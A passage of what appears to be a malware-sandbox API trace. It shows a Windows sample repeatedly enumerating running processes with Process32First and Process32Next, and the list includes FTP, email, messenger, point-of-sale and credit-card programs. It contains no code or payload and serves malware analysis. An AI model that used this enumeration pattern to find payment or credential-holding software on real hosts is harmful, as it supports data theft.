th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0261.759] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0261.761] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0261.764] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0261.766] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0261.768] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0261.772] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0261.774] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0261.775] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0261.777] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0261.778] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0261.780] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0261.783] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0261.785] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0261.787] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0261.790] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0261.792] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0261.795] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0261.797] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0261.799] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0261.850] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0261.852] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0261.854] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0261.856] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0261.859] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0261.861] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0261.863] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0261.865] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0261.867] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0261.869] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0261.871] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0261.873] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0261.875] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0261.877] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0261.879] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0261.881] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0261.883] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0261.885] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0261.887] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0261.889] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0261.891] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0261.893] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0261.942] CloseHandle (hObject=0x1024) returned 1 [0261.942] Sleep (dwMilliseconds=0x64) [0261.989] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1024 [0262.000] Process32First (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.001] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0262.003] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0262.004] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.005] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0262.007] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.008] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0262.010] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0262.011] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0262.012] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.014] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.015] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0262.016] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.018] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.114] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.115] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.116] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.118] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.119] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.121] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0262.122] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0262.123] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0262.173] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.176] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0262.177] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0262.179] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0262.180] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0262.181] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.183] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0262.184] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0262.186] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0262.187] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0262.189] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0262.190] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0262.192] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0262.193] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0262.195] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0262.197] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0262.198] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0262.200] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0262.201] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0262.203] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0262.204] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, 